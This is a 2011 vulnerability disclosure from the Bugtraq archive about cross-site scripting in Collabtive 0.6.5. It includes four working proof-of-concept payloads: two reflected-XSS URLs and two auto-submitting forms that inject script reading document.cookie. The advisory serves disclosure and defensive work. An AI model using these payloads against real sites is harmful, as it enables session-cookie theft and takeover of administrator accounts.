Bugtraq mailing list archives

HTB22906: XSS vulnerabilities in Collabtive


From: advisory () htbridge ch
Date: Thu, 31 Mar 2011 14:21:41 +0200 (CEST)

Vulnerability ID: HTB22906
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_collabtive.html
Product: Collabtive
Vendor: Open Dynamics ( http://collabtive.o-dyn.de/ ) 
Vulnerable Version: 0.6.5 and probably prior versions
Vendor Notification: 17 March 2011 
Vulnerability Type: XSS
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "managetimetracker.php", "manageproject.php", "manageuser.php", 
"admin.php" scripts to properly sanitize user-supplied input in "id", "name" variables. Successful exploitation of this 
vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, 
disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

http://host/managetimetracker.php?action=editform&tid=1&id=1";><script>alert(document.cookie)</script>

2.

http://host/manageuser.php?action=profile&id=1";><script>alert(document.cookie)</script>


3.

<form action="http://host/manageproject.php?action=edit&id=1"; method="post" name="main">
<input type="hidden" name="name" value='test"><script>alert(document.cookie)</script>'>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>


4.

<form action="http://host/admin.php?action=editsets"; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="name" value='Collabtive"><script>alert(document.cookie)</script>'>
<input type="hidden" name="subtitle" value="Projectmanagement">
<input type="hidden" name="locale" value="en">
<input type="hidden" name="timezone" value="Europe/Zurich">
<input type="hidden" name="rssuser" value="">
<input type="hidden" name="rsspass" value="">
<input type="hidden" name="dateformat" value="d.m.Y">
<input type="hidden" name="template" value="standard">
</form>
<script>
document.main.submit();
</script>




Current thread: